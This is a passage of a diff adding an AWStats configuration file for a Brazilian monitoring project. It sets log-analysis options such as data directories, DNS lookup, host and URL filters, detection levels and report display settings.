exists) +# Default: 2 +# +DNSLookup=2 + + +# When AWStats updates its statistics, it stores results of its analysis in +# files (AWStats database). All those files are written in the directory +# defined by the "DirData" parameter. Set this value to the directory where +# you want AWStats to save its database and working files into. +# Warning: If you want to be able to use the "AllowToUpdateStatsFromBrowser" +# feature (see later), you need "Write" permissions by web server user on this +# directory (and "Modify" for Windows NTFS file systems). +# Example: "/var/lib/awstats" +# Example: "../data" +# Example: "C:/awstats_data_dir" +# Default: "." (means same directory as awstats.pl) +# +DirData="/root/monitoramento-ej/wwwroot/cgi-bin/data" + + +# Relative or absolute web URL of your awstats cgi-bin directory. +# This parameter is used only when AWStats is run from command line +# with -output option (to generate links in HTML reported page). +# Example: "/awstats" +# Default: "/cgi-bin" (means awstats.pl is in "/yourwwwroot/cgi-bin") +# +DirCgi="/cgi-bin" + + +# Relative or absolute web URL of your awstats icon directory. +# If you build static reports ("... -output > outputpath/output.html"), enter +# path of icon directory relative to the output directory 'outputpath'. +# Example: "/awstatsicons" +# Example: "../icon" +# Default: "/icon" (means you must copy icon directories in "/mywwwroot/icon") +# +DirIcons="icon" + + +# When this parameter is set to 1, AWStats adds a button on report page to +# allow to "update" statistics from a web browser. Warning, when "update" is +# made from a browser, AWStats is run as a CGI by the web server user defined +# in your web server (user "nobody" by default with Apache, "IUSR_XXX" with +# IIS), so the "DirData" directory and all already existing history files +# awstatsMMYYYY[.xxx].txt must be writable by this user. Change permissions if +# necessary to "Read/Write" (and "Modify" for Windows NTFS file systems). +# Warning: Update process can be long so you might experience "time out" +# browser errors if you don't launch AWStats frequently enough. +# When set to 0, update is only made when AWStats is run from the command +# line interface (or a task scheduler). +# Possible values: 0 or 1 +# Default: 0 +# +AllowToUpdateStatsFromBrowser=0 + + +# AWStats saves and sorts its database on a month basis (except if using +# databasebreak option from command line). +# However, if you choose the -month=all from command line or +# value '-Year-' from CGI combo form to have a report for all year, AWStats +# needs to reload all data for full year (each month), and sort them, +# requiring a large amount of time, memory and CPU. This might be a problem +# for web hosting providers that offer AWStats for large sites, on shared +# servers, to non CPU cautious customers. +# For this reason, the 'full year' is only enabled on Command Line by default. +# You can change this by setting this parameter to 0, 1, 2 or 3. +# Possible values: +# 0 - Never allowed +# 1 - Allowed on CLI only, -Year- value in combo is not visible +# 2 - Allowed on CLI only, -Year- value in combo is visible but not allowed +# 3 - Possible on CLI and CGI +# Default: 2 +# +AllowFullYearView=2 + + + +#----------------------------------------------------------------------------- +# OPTIONAL SETUP SECTION (Not required but increase AWStats features) +#----------------------------------------------------------------------------- + +# When the update process runs, AWStats can set a lock file in TEMP or TMP +# directory. This lock is to avoid to have 2 update processes running at the +# same time to prevent unknown conflicts problems and avoid DoS attacks when +# AllowToUpdateStatsFromBrowser is set to 1. +# Because, when you use lock file, you can experience sometimes problems in +# lock file not correctly removed (killed process for example requires that +# you remove the file manualy), this option is not enabled by default (Do +# not enable this option with no console server access). +# Change : Effective immediatly +# Possible values: 0 or 1 +# Default: 0 +# +EnableLockForUpdate=0 + + +# AWStats can do reverse DNS lookups through a static DNS cache file that was +# previously created manually. If no path is given in static DNS cache file +# name, AWStats will search DirData directory. This file is never changed. +# This option is not used if DNSLookup=0. +# Note: DNS cache file format is 'minsince1970 ipaddress resolved_hostname' +# or just 'ipaddress resolved_hostname' +# Change : Effective for new updates only +# Example: "/mydnscachedir/dnscache" +# Default: "dnscache.txt" +# +DNSStaticCacheFile="dnscache.txt" + + +# AWStats can do reverse DNS lookups through a DNS cache file that was created +# by a previous run of AWStats. This file is erased and recreated after each +# statistics update process. You don't need to create and/or edit it. +# AWStats will read and save this file in DirData directory. +# This option is used only if DNSLookup=1. +# Note: If a DNSStaticCacheFile is available, AWStats will check for DNS +# lookup in DNSLastUpdateCacheFile after checking into DNSStaticCacheFile. +# Change : Effective for new updates only +# Example: "/mydnscachedir/dnscachelastupdate" +# Default: "dnscachelastupdate.txt" +# +DNSLastUpdateCacheFile="dnscachelastupdate.txt" + + +# You can specify specific IP addresses that should NOT be looked up in DNS. +# This option is used only if DNSLookup=1. +# Note: Use space between each value. +# Note: You can use regular expression values writing value with REGEX[value]. +# Change : Effective for new updates only +# Example: "123.123.123.123 REGEX[^192\.168\.]" +# Default: "" +# +SkipDNSLookupFor="" + + +# The following two parameters allow you to protect a config file from being +# read by AWStats when called from a browser if web user has not been +# authenticated. Your AWStats program must be in a web protected "realm" (With +# Apache, you can use .htaccess files to do so. With other web servers, see +# your server setup manual). +# Change : Effective immediatly +# Possible values: 0 or 1 +# Default: 0 +# +AllowAccessFromWebToAuthenticatedUsersOnly=0 + + +# This parameter gives the list of all authorized authenticated users to view +# statistics for this domain/config file. This parameter is used only if +# AllowAccessFromWebToAuthenticatedUsersOnly is set to 1. +# Change : Effective immediatly +# Example: "user1 user2" +# Example: "__REMOTE_USER__" +# Default: "" +# +AllowAccessFromWebToFollowingAuthenticatedUsers="" + + +# When this parameter is defined to something, the IP address of the user that +# reads its statistics from a browser (when AWStats is used as a CGI) is +# checked and must match one of the IP address values or ranges. +# Change : Effective immediatly +# Example: "127.0.0.1 123.123.123.1-123.123.123.255" +# Default: "" +# +AllowAccessFromWebToFollowingIPAddresses="" + + +# If the "DirData" directory (see above) does not exist, AWStats return an +# error. However, you can ask AWStats to create it. +# This option can be used by some Web Hosting Providers that has defined a +# dynamic value for DirData (for example DirData="/home/__REMOTE_USER__") and +# don't want to have to create a new directory each time they add a new user. +# Change : Effective immediatly +# Possible values: 0 or 1 +# Default: 0 +# +CreateDirDataIfNotExists=0 + + +# You can choose in which format the Awstats history database is saved. +# Note: Using "xml" format make AWStats building database files three times +# larger than using "text" format. +# Change : Database format is switched after next update +# Possible values: text or xml +# Default: text +# +BuildHistoryFormat=text + + +# If you prefer having the report output pages be built as XML compliant pages +# instead of simple HTML pages, you can set this to 'xhtml' (May not work +# properly with old browsers). +# Change : Effective immediatly +# Possible values: html or xhtml +# Default: html +# +BuildReportFormat=html + + +# AWStats databases can be updated from command line of from a browser (when +# used as a cgi program). So AWStats database files need write permission +# for both command line user and default web server user (nobody for Unix, +# IUSR_xxx for IIS/Windows,...). +# To avoid permission problems between update process (run by an admin user) +# and CGI process (ran by a low level user), AWStats can save its database +# files with read and write permissions for everyone. +# By default, AWStats keeps default user permissions on updated files. If you +# set AllowToUpdateStatsFromBrowser to 1, you can change this parameter to 1. +# Change : Effective for new updates only +# Possible values: 0 or 1 +# Default: 0 +# +SaveDatabaseFilesWithPermissionsForEveryone=0 + + +# AWStats can purge log file, after analyzing it. Note that AWStats is able +# to detect new lines in a log file, to process only them, so you can launch +# AWStats as often as you want, even with this parameter to 0. +# With 0, no purge is made, so you must use a scheduled task or a web server +# that make this purge frequently. +# With 1, the purge of the log file is made each time AWStats update is run. +# This parameter doesn't work with IIS (This web server doesn't let its log +# file to be purged). +# Change : Effective for new updates only +# Possible values: 0 or 1 +# Default: 0 +# +PurgeLogFile=0 + + +# When PurgeLogFile is setup to 1, AWStats will clean your log file after +# processing it. You can however keep an archive file of all processed log +# records by setting this parameter (For example if you want to use another +# log analyzer). The archived log file is saved in "DirData" with name +# awstats_archive.configname[.suffix].log +# This parameter is not used if PurgeLogFile=0 +# Change : Effective for new updates only +# Possible values: 0, 1, or tags (See LogFile parameter) for suffix +# Example: 1 +# Example: %YYYY%MM%DD +# Default: 0 +# +ArchiveLogRecords=0 + + +# Each time you run the update process, AWStats overwrites the 'historic file' +# for the month (awstatsMMYYYY[.*].txt) with the updated one. +# When write errors occurs (IO, disk full,...), this historic file can be +# corrupted and must be deleted. Because this file contains information of all +# past processed log files, you will loose old stats if removed. So you can +# ask AWStats to save last non corrupted file in a .bak file. This file is +# stored in "DirData" directory with other 'historic files'. +# Change : Effective for new updates only +# Possible values: 0 or 1 +# Default: 0 +# +KeepBackupOfHistoricFiles=0 + + +# Default index page name for your web server. +# Change : Effective for new updates only +# Example: "index.php index.html default.html" +# Default: "index.php index.html" +# +DefaultFile="index.php index.html" + + +# Do not include access from clients that match following criteria. +# If your log file contains IP addresses in host field, you must enter here +# matching IP addresses criteria. +# If DNS lookup is already done in your log file, you must enter here hostname +# criteria, else enter ip address criteria. +# The opposite parameter of "SkipHosts" is "OnlyHosts". +# Note: Use space between each value. This parameter is not case sensitive. +# Note: You can use regular expression values writing value with REGEX[value]. +# Change : Effective for new updates only +# Example: "127.0.0.1 REGEX[^192\.168\.] REGEX[^10\.]" +# Example: "localhost REGEX[^.*\.localdomain$]" +# Default: "" +# +SkipHosts="" + + +# Do not include access from clients with a user agent that match following +# criteria. If you want to exclude a robot, you should update the robots.pm +# file instead of this parameter. +# The opposite parameter of "SkipUserAgents" is "OnlyUserAgents". +# Note: Use space between each value. This parameter is not case sensitive. +# Note: You can use regular expression values writing value with REGEX[value]. +# Change : Effective for new updates only +# Example: "konqueror REGEX[ua_test_v\d\.\d]" +# Default: "" +# +SkipUserAgents="" + + +# Use SkipFiles to ignore access to URLs that match one of following entries. +# You can enter a list of not important URLs (like framed menus, hidden pages, +# etc...) to exclude them from statistics. You must enter here exact relative +# URL as found in log file, or a matching REGEX value. Check apply on URL with +# all its query paramaters. +# For example, to ignore /badpage.php, just add "/badpage.php". To ignore all +# pages in a particular directory, add "REGEX[^\/directorytoexclude]". +# The opposite parameter of "SkipFiles" is "OnlyFiles". +# Note: Use space between each value. This parameter is or not case sensitive +# depending on URLNotCaseSensitive parameter. +# Note: You can use regular expression values writing value with REGEX[value]. +# Change : Effective for new updates only +# Example: "/badpage.php /page.php?param=x REGEX[^\/excludedirectory]" +# Default: "" +# +SkipFiles="" + + +# Use SkipReferrersBlackList if you want to exclude records coming from a SPAM +# referrer. Parameter must receive a local file name containing rules applied +# on referrer field. If parameter is empty, no filter is applied. +# An example of such a file is available in lib/blacklist.txt +# Change : Effective for new updates only +# Example: "/mylibpath/blacklist.txt" +# Default: "" +# +# WARNING!! Using this feature make AWStats running very slower (5 times slower +# with black list file provided with AWStats ! +# +SkipReferrersBlackList="" + + +# Include in stats, only accesses from hosts that match one of following +# entries. For example, if you want AWStats to filter access to keep only +# stats for visits from particular hosts, you can add those host names in +# this parameter. +# If DNS lookup is already done in your log file, you must enter here hostname +# criteria, else enter ip address criteria. +# The opposite parameter of "OnlyHosts" is "SkipHosts". +# Note: Use space between each value. This parameter is not case sensitive. +# Note: You can use regular expression values writing value with REGEX[value]. +# Change : Effective for new updates only +# Example: "127.0.0.1 REGEX[^192\.168\.] REGEX[^10\.]" +# Default: "" +# +OnlyHosts="" + + +# Include in stats, only accesses from user agent that match one of following +# entries. For example, if you want AWStats to filter access to keep only +# stats for visits from particular browsers, you can add their user agents +# string in this parameter. +# The opposite parameter of "OnlyUserAgents" is "SkipUserAgents". +# Note: Use space between each value. This parameter is not case sensitive. +# Note: You can use regular expression values writing value with REGEX[value]. +# Change : Effective for new updates only +# Example: "msie" +# Default: "" +# +OnlyUserAgents="" + + +# Include in stats, only accesses from authenticated users that match one of +# following entries. For example, if you want AWStats to filter access to keep +# only stats for authenticated users, you can add those users names in +# this parameter. Useful for statistics for per user ftp logs. +# Note: Use space between each value. This parameter is not case sensitive. +# Note: You can use regular expression values writing value with REGEX[value]. +# Change : Effective for new updates only +# Example: "john bob REGEX[^testusers]" +# Default: "" +# +OnlyUsers="" + + +# Include in stats, only accesses to URLs that match one of following entries. +# For example, if you want AWStats to filter access to keep only stats that +# match a particular string, like a particular directory, you can add this +# directory name in this parameter. +# The opposite parameter of "OnlyFiles" is "SkipFiles". +# Note: Use space between each value. This parameter is or not case sensitive +# depending on URLNotCaseSensitive parameter. +# Note: You can use regular expression values writing value with REGEX[value]. +# Change : Effective for new updates only +# Example: "REGEX[marketing_directory] REGEX[office\/.*\.(csv|sxw)$]" +# Default: "" +# +OnlyFiles="" + + +# Add here a list of kind of url (file extension) that must be counted as +# "Hit only" and not as a "Hit" and "Page/Download". You can set here all +# image extensions as they are hit downloaded that must be counted but they +# are not viewed pages. URLs with such extensions are not included in the TOP +# Pages/URL report. +# Note: If you want to exclude particular URLs from stats (No Pages and no +# Hits reported), you must use SkipFiles parameter. +# Change : Effective for new updates only +# Example: "css js class gif jpg jpeg png bmp ico rss xml swf zip arj rar gz z bz2 wav mp3 wma mpg avi" +# Example: "" +# Default: "css js class gif jpg jpeg png bmp ico rss xml swf" +# +NotPageList="css js class gif jpg jpeg png bmp ico rss xml swf" + + +# By default, AWStats considers that records found in web log file are +# successful hits if HTTP code returned by server is a valid HTTP code (200 +# and 304). Any other code are reported in HTTP status chart. +# Note that HTTP 'control codes', like redirection (302, 305) are not added by +# default in this list as they are not pages seen by a visitor but are +# protocol exchange codes to tell the browser to ask another page. Because +# this other page will be counted and seen with a 200 or 304 code, if you +# add such codes, you will have 2 pages viewed reported for only one in facts. +# Change : Effective for new updates only +# Example: "200 304 302 305" +# Default: "200 304" +# +ValidHTTPCodes="200 304" + + +# By default, AWStats considers that records found in mail log file are +# successful mail transfers if field that represent return code in analyzed +# log file match values defined by this parameter. +# Change : Effective for new updates only +# Example: "1 250 200" +# Default: "1 250" +# +ValidSMTPCodes="1 250" + + +# Some web servers on some Operating systems (IIS-Windows) consider that a +# login with same value but different case are the same login. To tell AWStats +# to also consider them as one, set this parameter to 1. +# Change : Effective for new updates only +# Possible values: 0 or 1 +# Default: 0 +# +AuthenticatedUsersNotCaseSensitive=0 + + +# Some web servers on some Operating systems (IIS-Windows) considers that two +# URLs with same value but different case are the same URL. To tell AWStats to +# also considers them as one, set this parameter to 1. +# Change : Effective for new updates only +# Possible values: 0 or 1 +# Default: 0 +# +URLNotCaseSensitive=0 + + +# Keep or remove the anchor string you can find in some URLs. +# Change : Effective for new updates only +# Possible values: 0 or 1 +# Default: 0 +# +URLWithAnchor=0 + + +# In URL links, "?" char is used to add parameter's list in URLs. Syntax is: +# /mypage.html?param1=value1¶m2=value2 +# However, some servers/sites use also other chars to isolate dynamic part of +# their URLs. You can complete this list with all such characters. +# Change : Effective for new updates only +# Example: "?;," +# Default: "?;" +# +URLQuerySeparators="?;" + + +# Keep or remove the query string to the URL in the statistics for individual +# pages. This is primarily used to differentiate between the URLs of dynamic +# pages. If set to 1, mypage.html?id=x and mypage.html?id=y are counted as two +# different pages. +# Warning, when set to 1, memory required to run AWStats is dramatically +# increased if you have a lot of changing URLs (for example URLs with a random +# id inside). Such web sites should not set this option to 1 or use seriously +# the next parameter URLWithQueryWithOnlyFollowingParameters (or eventually +# URLWithQueryWithoutFollowingParameters). +# Change : Effective for new updates only +# Possible values: +# 0 - URLs are cleaned from the query string (ie: "/mypage.html") +# 1 - Full URL with query string is used (ie: "/mypage.html?p=x&q=y") +# Default: 0 +# +URLWithQuery=0 + + +# When URLWithQuery is on, you will get the full URL with all parameters in +# URL reports. But among thoose parameters, sometimes you don't need a +# particular parameter because it does not identify the page or because it's +# a random ID changing for each access even if URL points to same page. In +# such cases, it is higly recommanded to ask AWStats to keep only parameters +# you need (if you know them) before counting, manipulating and storing URL. +# Enter here list of wanted parameters. For example, with "param", one hit on +# /mypage.cgi?param=abc&id=Yo4UomP9d and /mypage.cgi?param=abc&id=Mu8fdxl3r +# will be reported as 2 hits on /mypage.cgi?param=abc +# This parameter is not used when URLWithQuery is 0 and can't be used with +# URLWithQueryWithoutFollowingParameters. +# Change : Effective for new updates only +# Example: "param" +# Default: "" +# +URLWithQueryWithOnlyFollowingParameters="" + + +# When URLWithQuery is on, you will get the full URL with all parameters in +# URL reports. But among thoose parameters, sometimes you don't need a +# particular parameter because it does not identify the page or because it's +# a random ID changing for each access even if URL points to same page. In +# such cases, it is higly recommanded to ask AWStats to remove such parameters +# from the URL before counting, manipulating and storing URL. Enter here list +# of all non wanted parameters. For example if you enter "id", one hit on +# /mypage.cgi?param=abc&id=Yo4UomP9d and /mypage.cgi?param=abc&id=Mu8fdxl3r +# will be reported as 2 hits on /mypage.cgi?param=abc +# This parameter is not used when URLWithQuery is 0 and can't be used with +# URLWithQueryWithOnlyFollowingParameters. +# Change : Effective for new updates only +# Example: "PHPSESSID jsessionid" +# Default: "" +# +URLWithQueryWithoutFollowingParameters="" + + +# Keep or remove the query string to the referrer URL in the statistics for +# external referrer pages. This is used to differentiate between the URLs of +# dynamic referrer pages. If set to 1, mypage.html?id=x and mypage.html?id=y +# are counted as two different referrer pages. +# Change : Effective for new updates only +# Possible values: +# 0 - Referrer URLs are cleaned from the query string (ie: "/mypage.html") +# 1 - Full URL with query string is used (ie: "/mypage.html?p=x&q=y") +# Default: 0 +# +URLReferrerWithQuery=0 + + +# AWStats can detect setup problems or show you important informations to have +# a better use. Keep this to 1, except if AWStats says you can change it. +# Change : Effective immediatly +# Possible values: 0 or 1 +# Default: 1 +# +WarningMessages=1 + + +# When an error occurs, AWStats outputs a message related to errors. If you +# want (in most cases for security reasons) to have no error messages, you +# can set this parameter to your personalized generic message. +# Change : Effective immediatly +# Example: "An error occurred. Contact your Administrator" +# Default: "" +# +ErrorMessages="" + + +# AWStat can be run with debug=x parameter to output various informations +# to help in debugging or solving troubles. If you want to allow this (not +# enabled by default for security reasons), set this parameter to 0. +# Change : Effective immediatly +# Possible values: 0 or 1 +# Default: 0 +# +DebugMessages=1 + + +# To help you to detect if your log format is good, AWStats reports an error +# if all the first NbOfLinesForCorruptedLog lines have a format that does not +# match the LogFormat parameter. +# However, some worm virus attack on your web server can result in a very high +# number of corrupted lines in your log. So if you experience awstats stop +# because of bad virus records at the beginning of your log file, you can +# increase this parameter (very rare). +# Change : Effective for new updates only +# Default: 50 +# +NbOfLinesForCorruptedLog=50 + + +# For some particular integration needs, you may want to have CGI links to +# point to another script than awstats.pl. +# Use the name of this script in WrapperScript parameter. +# Change : Effective immediatly +# Example: "awstatslauncher.pl" +# Example: "awstatswrapper.cgi?key=123" +# Default: "" +# +WrapperScript="" + + +# DecodeUA must be set to 1 if you use Roxen web server. This server converts +# all spaces in user agent field into %20. This make the AWStats robots, OS +# and browsers detection fail in some cases. Just change it to 1 if and only +# if your web server is Roxen. +# Change : Effective for new updates only +# Possible values: 0 or 1 +# Default: 0 +# +DecodeUA=0 + + +# MiscTrackerUrl can be used to make AWStats able to detect some miscellaneous +# things, that can not be tracked on other way, like: +# - Javascript disabled +# - Java enabled +# - Screen size +# - Color depth +# - Macromedia Director plugin +# - Macromedia Shockwave plugin +# - Realplayer G2 plugin +# - QuickTime plugin +# - Mediaplayer plugin +# - Acrobat PDF plugin +# To enable all these features, you must copy the awstats_misc_tracker.js file +# into a /js/ directory stored in your web document root and add the following +# HTML code at the end of your index page (but before </BODY>) : +# +# <script type="text/javascript" src="/js/awstats_misc_tracker.js"></script> +# <noscript><img src="/js/awstats_misc_tracker.js?nojs=y" height=0 width=0 border=0 style="display: none"></noscript> +# +# If code is not added in index page, all those detection capabilities will be +# disabled. You must also check that ShowScreenSizeStats and ShowMiscStats +# parameters are set to 1 to make results appear in AWStats report page. +# If you want to use another directory than /js/, you must also change the +# awstatsmisctrackerurl variable into the awstats_misc_tracker.js file. +# Change : Effective for new updates only. +# Possible value: URL of javascript tracker file added in your HTML code. +# Default: "/js/awstats_misc_tracker.js" +# +MiscTrackerUrl="/js/awstats_misc_tracker.js" + + +# AddLinkToExternalCGIWrapper can be used to add a link to a wrapper script +# into each title of Dolibarr reports. This can be used to add a wrapper +# to download data into a CSV file for example. +# +# AddLinkToExternalCGIWrapper="/awstats/awdownloadcsv.pl" + + + +#----------------------------------------------------------------------------- +# OPTIONAL ACCURACY SETUP SECTION (Not required but increase AWStats features) +#----------------------------------------------------------------------------- + +# The following values allow you to define accuracy of AWStats entities +# (robots, browsers, os, referers, file types) detection. +# It might be a good idea for large web sites or ISP that provides AWStats to +# high number of customers, to set this parameter to 1 (or 0), instead of 2. +# Possible values: +# 0 = No detection, +# 1 = Medium/Standard detection +# 2 = Full detection +# Change : Effective for new updates only +# Note : LevelForBrowsersDetection can also accept value "allphones". This +# enable detailed detection of phone/pda browsers. +# Default: 2 (0 for LevelForWormsDetection) +# +LevelForBrowsersDetection=2 # 0 disables Browsers detection. + # 2 reduces AWStats speed by 2% + # allphones reduces AWStats speed by 5% +LevelForOSDetection=2 # 0 disables OS detection. + # 2 reduces AWStats speed by 3% +LevelForRefererAnalyze=2 # 0 disables Origin detection. + # 2 reduces AWStats speed by 14% +LevelForRobotsDetection=2 # 0 disables Robots detection. + # 2 reduces AWStats speed by 2.5% +LevelForSearchEnginesDetection=2 # 0 disables Search engines detection. + # 2 reduces AWStats speed by 9% +LevelForKeywordsDetection=2 # 0 disables Keyphrases/Keywords detection. + # 2 reduces AWStats speed by 1% +LevelForFileTypesDetection=2 # 0 disables File types detection. + # 2 reduces AWStats speed by 1% +LevelForWormsDetection=0 # 0 disables Worms detection. + # 2 reduces AWStats speed by 15% + + + +#----------------------------------------------------------------------------- +# OPTIONAL APPEARANCE SETUP SECTION (Not required but increase AWStats features) +#----------------------------------------------------------------------------- + +# When you use AWStats as a CGI, you can have the reports shown in HTML frames. +# Frames are only available for report viewed dynamically. When you build +# pages from command line, this option is not used and no frames are built. +# Possible values: 0 or 1 +# Default: 1 +# +UseFramesWhenCGI=1 + + +# This parameter asks your browser to open detailed reports into a different +# window than the main page. +# Possible values: +# 0 - Open all in same browser window +# 1 - Open detailed reports in another window except if using frames +# 2 - Open always in a different window even if reports are framed +# Default: 1 +# +DetailedReportsOnNewWindows=1 + + +# You can add, in the HTML report page, a cache lifetime (in seconds) that +# will be returned to the browser in HTTP header answer by server. +# This parameter is not used when reports are built with -staticlinks option. +# Example: 3600 +# Default: 0 +# +Expires=0 + + +# To avoid too large web pages, you can ask AWStats to limit number of rows of +# all reported charts to this number when no other limits apply. +# Default: 1000 +# +MaxRowsInHTMLOutput=1000 + + +# Set your primary language (ISO-639-1 language codes). +# Possible values: +# Albanian=al, Bosnian=ba, Bulgarian=bg, Catalan=ca, +# Chinese (Taiwan)=tw, Chinese (Simpliefied)=cn, Croatian=hr, Czech=cz, +# Danish=dk, Dutch=nl, English=en, Estonian=et, Euskara=eu, Finnish=fi, +# French=fr, Galician=gl, German=de, Greek=gr, Hebrew=he, Hungarian=hu, +# Icelandic=is, Indonesian=id, Italian=it, Japanese=jp, Korean=ko, +# Latvian=lv, Norwegian (Nynorsk)=nn, Norwegian (Bokmal)=nb, Polish=pl, +# Portuguese=pt, Portuguese (Brazilian)=br, Romanian=ro, Russian=ru, +# Serbian=sr, Slovak=sk, Slovenian=si, Spanish=es, Swedish=se, Turkish=tr, +# Ukrainian=ua, Welsh=cy. +# First available language accepted by browser=auto +# Default: "auto" +# +Lang="br" + + +# Set the location of language files. +# Example: "/usr/share/awstats/lang" +# Default: "./lang" (means lang directory is in same location than awstats.pl) +# +DirLang="./lang" + + +# Show menu header with reports' links +# Possible values: 0 or 1 +# Default: 1 +# +ShowMenu=1 + + +# You choose here which reports you want to see in the main page and what you +# want to see in those reports. +# Possible values: +# 0 - Report is not shown at all +# 1 - Report is shown in main page with an entry in menu and default columns +# XYZ - Report shows column informations defined by code X,Y,Z... +# X,Y,Z... are code letters among the following: +# U = Unique visitors +# V = Visits +# P = Number of pages +# H = Number of hits (or mails) +# B = Bandwith (or total mail size for mail logs) +# L = Last access date +# E = Entry pages +# X = Exit pages +# C = Web compression (mod_gzip,mod_deflate) +# M = Average mail size (mail logs) +# + +# Show monthly summary +# Context: Web, Streaming, Mail, Ftp +# Default: UVPHB, Possible column codes: UVPHB +ShowSummary=UVPHB + +# Show monthly chart +# Context: Web, Streaming, Mail, Ftp +# Default: UVPHB, Possible column codes: UVPHB +ShowMonthStats=UVPHB + +# Show days of month chart +# Context: Web, Streaming, Mail, Ftp +# Default: VPHB, Possible column codes: VPHB +ShowDaysOfMonthStats=VPHB + +# Show days of week chart +# Context: Web, Streaming, Mail, Ftp +# Default: PHB, Possible column codes: PHB +ShowDaysOfWeekStats=PHB + +# Show hourly chart +# Context: Web, Streaming, Mail, Ftp +# Default: PHB, Possible column codes: PHB +ShowHoursStats=PHB + +# Show domains/country chart +# Context: Web, Streaming, Mail, Ftp +# Default: PHB, Possible column codes: UVPHB +ShowDomainsStats=PHB + +# Show hosts chart +# Context: Web, Streaming, Mail, Ftp +# Default: PHBL, Possible column codes: PHBL +ShowHostsStats=PHBL + +# Show authenticated users chart +# Context: Web, Streaming, Ftp +# Default: 0, Possible column codes: PHBL +ShowAuthenticatedUsers=0 + +# Show robots chart +# Context: Web, Streaming +# Default: HBL, Possible column codes: HBL +ShowRobotsStats=HBL + +# Show worms chart +# Context: Web, Streaming +# Default: 0 (If set to other than 0, see also LevelForWormsDetection), Possible column codes: HBL +ShowWormsStats=0 + +# Show email senders chart (For use when analyzing mail log files) +# Context: Mail +# Default: 0, Possible column codes: HBML +ShowEMailSenders=0 + +# Show email receivers chart (For use when analyzing mail log files) +# Context: Mail +# Default: 0, Possible column codes: HBML +ShowEMailReceivers=0 + +# Show session chart +# Context: Web, Streaming, Ftp +# Default: 1, Possible column codes: None +ShowSessionsStats=1 + +# Show pages-url chart. +# Context: Web, Streaming, Ftp +# Default: PBEX, Possible column codes: PBEX +ShowPagesStats=PBEX + +# Show file types chart. +# Context: Web, Streaming, Ftp +# Default: HB, Possible column codes: HBC +ShowFileTypesStats=HB + +# Show file size chart (Not yet available) +# Context: Web, Streaming, Mail, Ftp +# Default: 1, Possible column codes: None +ShowFileSizesStats=0 + +# Show downloads chart. +# Context: Web, Streaming, Ftp +# Default: HB, Possible column codes: HB +ShowDownloadsStats=HB + +# Show operating systems chart +# Context: Web, Streaming, Ftp +# Default: 1, Possible column codes: None +ShowOSStats=1 + +# Show browsers chart +# Context: Web, Streaming +# Default: 1, Possible column codes: None +ShowBrowsersStats=1 + +# Show screen size chart +# Context: Web, Streaming +# Default: 0 (If set to 1, see also MiscTrackerUrl), Possible column codes: None +ShowScreenSizeStats=0 + +# Show origin chart +# Context: Web, Streaming +# Default: PH, Possible column codes: PH +ShowOriginStats=PH + +# Show keyphrases chart +# Context: Web, Streaming +# Default: 1, Possible column codes: None +ShowKeyphrasesStats=1 + +# Show keywords chart +# Context: Web, Streaming +# Default: 1, Possible column codes: None +ShowKeywordsStats=1 + +# Show misc chart +# Context: Web, Streaming +# Default: a (See also MiscTrackerUrl parameter), Possible column codes: anjdfrqwp +ShowMiscStats=a + +# Show http errors chart +# Context: Web, Streaming +# Default: 1, Possible column codes: None +ShowHTTPErrorsStats=1 + +# Show smtp errors chart (For use when analyzing mail log files) +# Context: Mail +# Default: 0, Possible column codes: None +ShowSMTPErrorsStats=0 + +# Show the cluster report (Your LogFormat must contains the %cluster tag) +# Context: Web, Streaming, Ftp +# Default: 0, Possible column codes: PHB +ShowClusterStats=0 + + +# Some graphical reports are followed by the data array of values. +# If you don't want this array (to reduce the report size for example), you +# can set thoose options to 0. +# Possible values: 0 or 1 +# Default: 1 +# +# Data array values for the ShowMonthStats report +AddDataArrayMonthStats=1 +# Data array values for the ShowDaysOfMonthStats report +AddDataArrayShowDaysOfMonthStats=1 +# Data array values for the ShowDaysOfWeekStats report +AddDataArrayShowDaysOfWeekStats=1 +# Data array values for the ShowHoursStats report +AddDataArrayShowHoursStats=1 + + +# In the Origin chart, you have stats on where your hits came from. You can +# include hits on pages that come from pages of same sites in this chart. +# Possible values: 0 or 1 +# Default: 0 +# +IncludeInternalLinksInOriginSection=0 + + +# The following parameters can be used to choose the maximum number of lines +# shown for the particular following reports. +# +# Stats by countries/domains +MaxNbOfDomain = 10 +MinHitDomain = 1 +# Stats by hosts +MaxNbOfHostsShown = 10 +MinHitHost = 1 +# Stats by authenticated users +MaxNbOfLoginShown = 10 +MinHitLogin = 1 +# Stats by robots +MaxNbOfRobotShown = 10 +MinHitRobot = 1 +# Stats for Downloads +MaxNbOfDownloadsShown = 10 +MinHitDownloads = 1 +# Stats by pages +MaxNbOfPageShown = 10 +MinHitFile = 1 +# Stats by OS +MaxNbOfOsShown = 10 +MinHitOs = 1 +# Stats by browsers +MaxNbOfBrowsersShown = 10 +MinHitBrowser = 1 +# Stats by screen size +MaxNbOfScreenSizesShown = 5 +MinHitScreenSize = 1 +# Stats by window size (following 2 parameters are not yet used) +MaxNbOfWindowSizesShown = 5 +MinHitWindowSize = 1 +# Stats by referers +MaxNbOfRefererShown = 10 +MinHitRefer = 1 +# Stats for keyphrases +MaxNbOfKeyphrasesShown = 10 +MinHitKeyphrase = 1 +# Stats for keywords +MaxNbOfKeywordsShown = 10 +MinHitKeyword = 1 +# Stats for sender or receiver emails +MaxNbOfEMailsShown = 20 +MinHitEMail = 1 + + +# Choose if you want the week report to start on sunday or monday +# Possible values: +# 0 - Week starts on sunday +# 1 - Week starts on monday +# Default: 1 +# +FirstDayOfWeek=1 + + +# List of visible flags that link to other language translations. +# See Lang parameter for list of allowed flag/language codes. +# If you don't want any flag link, set ShowFlagLinks to "". +# This parameter is used only if ShowMenu parameter is set to 1. +# Possible values: "" or "language_codes_separated_by_space" +# Example: "en es fr nl de" +# Default: "" +# +ShowFlagLinks="" + + +# Each URL, shown in stats report views, are links you can click. +# Possible values: 0 or 1 +# Default: 1 +# +ShowLinksOnUrl=1 + + +# When AWStats builds HTML links in its report pages, it starts those links +# with "http://". However some links might be HTTPS links, so you can enter +# here the root of all your HTTPS links. If all your site is a SSL web site, +# just enter "/". +# This parameter is not used if ShowLinksOnUrl is 0. +# Example: "/shopping" +# Example: "/" +# Default: "" +# +UseHTTPSLinkForUrl="" + + +# Maximum length of URL part shown on stats page (number of characters). +# This affects only URL visible text, links still work. +# Default: 64 +# +MaxLengthOfShownURL=64 + + +# You can enter HTML code that will be added at the top of AWStats reports. +# Default: "" +# +HTMLHeadSection="" + + +# You can enter HTML code that will be added at the end of AWStats reports. +# Great to add advert ban. +# Default: "" +# +HTMLEndSection="" + + +# By default 